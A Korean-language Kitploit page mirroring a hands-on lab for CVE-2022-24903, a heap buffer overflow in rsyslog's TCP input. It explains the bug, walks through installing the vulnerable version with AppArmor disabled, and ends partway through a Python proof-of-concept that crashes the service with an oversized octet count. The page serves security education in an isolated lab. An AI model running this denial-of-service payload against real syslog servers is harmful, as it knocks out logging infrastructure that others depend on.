Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab — CVE-2022-24903 힙 기반 버퍼 오버플로우 | Kitploit
도구/GitHubGitHub/andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab
Vulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubandree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab

CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab

CVE-2022-24903 힙 기반 버퍼 오버플로우

저장소 보기
82개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-24903 핸즈온 랩

저자: Andrew Beshay Mousa

rsyslog 힙 버퍼 오버플로 취약점을 시연하는 실용적인 핸즈온 랩입니다.

rsyslog CVE Type Protocol

TCP syslog 수신 시 octet-counted framing을 통해 rsyslog 힙 버퍼 오버플로 취약점(CVE-2022-24903)을 재현하고 이해할 수 있는 실용적인 랩 환경입니다.


Table of Contents

  • 개요
  • 랩 아키텍처
  • 사전 요구사항
  • 취약점 상세
  • 랩 설정
    • 대상 머신 (Ubuntu)
    • 공격자 머신 (Kali)
  • 익스플로잇
  • 검증
  • 문제 해결
  • 완화 조치
  • 참고 자료

개요

CVE-2022-24903은 octet-counted framing(RFC 5425)을 사용할 때 rsyslog의 TCP syslog 수신 모듈(imtcp)에서 발생하는 힙 버퍼 오버플로 취약점입니다.

공격자는 과도하게 긴 octet-count 접두사를 포함한 조작된 TCP syslog 메시지를 전송하여 rsyslog가 힙에 할당된 버퍼의 경계를 벗어나 데이터를 쓰게 만들 수 있으며, 이로 인해 서비스 거부(DoS) 또는 잠재적인 메모리 손상이 발생할 수 있습니다.

속성값
CVE IDCVE-2022-24903
영향받는 버전rsyslog < 8.2204.1
공격 경로네트워크
포트514/TCP
모듈imtcp (TCP 입력)
영향DoS / 힙 손상
RCE 가능성?없음 (공급업체 평가)

랩 아키텍처

+----------------------------------------------------------+
|                  Network: Host-Only                       |
|                Subnet: 192.168.56.0/24                   |
+--------------------------+-------------------------------+
|                          |                               |
|   +---------------+      |      +--------------------+   |
|   |  [Attacker]   |      |      |     [Target]       |   |
|   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
|   |               | TCP  |      |  rsyslog 8.2001.0  |   |
|   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
|   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
|   |  CPU: 1       |      |      |  CPU: 1            |   |
|   +---------------+      |      +--------------------+   |
|                          |                               |
+----------------------------------------------------------+

필요 VM

VMOS역할IPRAMCPU
대상Ubuntu 22.04취약한 rsyslog 서버192.168.56.201 GB1
공격자Kali Linux익스플로잇 전송자192.168.56.102 GB1

참고: 대상 머신으로 Ubuntu의 어떤 버전(20.04, 22.04, 24.04)을 사용해도 됩니다. 핵심은 취약한 rsyslog 8.2001.0 .deb 패키지를 수동으로 설치하는 것입니다.


사전 요구사항

  • VirtualBox 또는 VMware Workstation
  • Ubuntu 22.04 ISO (~2 GB)
  • Kali Linux VM (~4 GB)
  • 하이퍼바이저에 구성된 Host-Only 네트워크
  • Linux 명령어와 Python에 대한 기본 지식

취약점 상세

Octet-Counted Framing이란?

TCP syslog(RFC 5425)에서 메시지 앞에는 바이트 단위의 길이가 접두사로 붙습니다:

123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
 octet count (3 digits = 123 bytes follow)

버그

취약한 rsyslog 버전에서 octet-count 파서는:

  1. 숫자를 고정 크기 힙 버퍼에 누적합니다
  2. 숫자를 쓰는 동안 버퍼 경계를 확인하지 않습니다
  3. octet count가 허용된 최대값을 초과한 후에도 숫자 쓰기를 계속합니다
// Simplified vulnerable logic:
char buffer[20];          // Small heap buffer
int i = 0;
while (isdigit(ch)) {     // Read digits
    buffer[i++] = ch;     // Write to buffer
    // MISSING: if (i >= 20) break;
    ch = next_char();
}

결과: 9999...(5000자리 이상)를 전송하면 힙 버퍼가 오버플로되어 인접 메모리가 손상됩니다.

RCE가 어려운 이유

  • 오버플로는 숫자 문자만(0-9) 사용할 수 있습니다
  • 파서는 첫 번째 숫자가 아닌 문자에서 멈춥니다
  • 셸코드를 직접 주입할 수 없습니다
  • DoS는 확실히 발생합니다. RCE는 공급업체가 가능성이 낮은 것으로 평가합니다

랩 설정

1단계: Host-Only 네트워크 구성

하이퍼바이저에서 Host-Only 네트워크를 생성합니다:

  • 서브넷: 192.168.56.0/24
  • DHCP: 비활성화 (고정 IP 사용)

두 VM을 모두 이 네트워크에 연결합니다.


2단계: 대상 머신 (Ubuntu)

2.1 고정 IP 설정

sudo nano /etc/netplan/00-installer-config.yaml

다음을 붙여넣습니다:

network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: no
      addresses:
        - 192.168.56.20/24

적용합니다:

sudo netplan apply

확인합니다:

ip addr show | grep 192.168.56.20

2.2 최신 rsyslog 중지 및 제거

sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y

2.3 취약한 rsyslog 다운로드 및 설치

cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog

dpkg 잠금 오류가 발생하면:

sudo kill -9 <PID>
sudo rm -f /var/lib/dpkg/lock-frontend
sudo dpkg --configure -a

버전을 확인합니다:

rsyslogd -v | head -2

예상 출력:

rsyslogd  8.2001.0

2.4 AppArmor 비활성화 (랩 전용)

AppArmor가 이전 패키지와 함께 rsyslog가 올바르게 작동하는 것을 차단할 수 있습니다:

sudo systemctl stop apparmor
sudo systemctl disable apparmor

2.5 TCP 514용 rsyslog 구성

sudo nano /etc/rsyslog.conf

파일 내용을 지우고 다음을 붙여넣습니다:

module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log

2.6 방화벽 포트 열기

sudo ufw allow 514/tcp
sudo ufw --force enable

2.7 rsyslog 시작

sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager

수신 상태를 확인합니다:

sudo ss -tlnp | grep 514

예상:

LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))

3단계: 공격자 머신 (Kali)

3.1 고정 IP 설정

sudo nano /etc/network/interfaces

다음을 붙여넣습니다:

auto eth0
iface eth0 inet static
    address 192.168.56.10
    netmask 255.255.255.0

또는 Netplan을 사용하는 경우:

sudo nano /etc/netplan/01-netcfg.yaml
network:
  version: 2
  ethernets:
    eth0:
      dhcp4: no
      addresses:
        - 192.168.56.10/24
sudo netplan apply

3.2 익스플로잇 스크립트 생성

cd ~/Desktop
nano exploit.py

다음을 붙여넣습니다:

#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""

import socket
import sys

TARGET = "192.168.56.20"  # Change to your Target IP
PORT = 514

def exploit():
    """
    Send a crafted TCP syslog message with an excessively long octet-count prefix.
    The octet-count parser writes digits to a heap buffer without bounds checking,
    causing a heap buffer overflow.
    """
    # Create a massive octet count string (5000+ digits)
    # This overflows the heap buffer allocated for parsing the count
    overflow_digits = b"9" * 5000

    # The rest of the message (parser will crash before processing this)
    syslog_msg = b" <1>test crash message\n"

    payload = overflow_digits + syslog_msg

    print(f"[*] Target: {TARGET}:{PORT}")
    print(f"[*] Payload size: {len(payload)} bytes")
    print(f"[*] Octet count digits: {len(overflow_digits)}")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((TARGET, PORT))

        print(f"[*] Connected. Sending payload...")
        sock.sendall(payload)

        # Try to receive (likely won't get anything back after crash)
        try:
            response = sock.recv(1024)
            print(f"[+] Received: {response}")
        except socket.timeout:
            print("[!] No response - target may have crashed!")

        sock.close()
        print("[*] Exploit completed.")

    except ConnectionRefusedError:
        print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
        sys.exit(1)
    except BrokenPipeError:
        print("[!] Connection broken - target likely crashed mid-transmission!")
도구 다운로드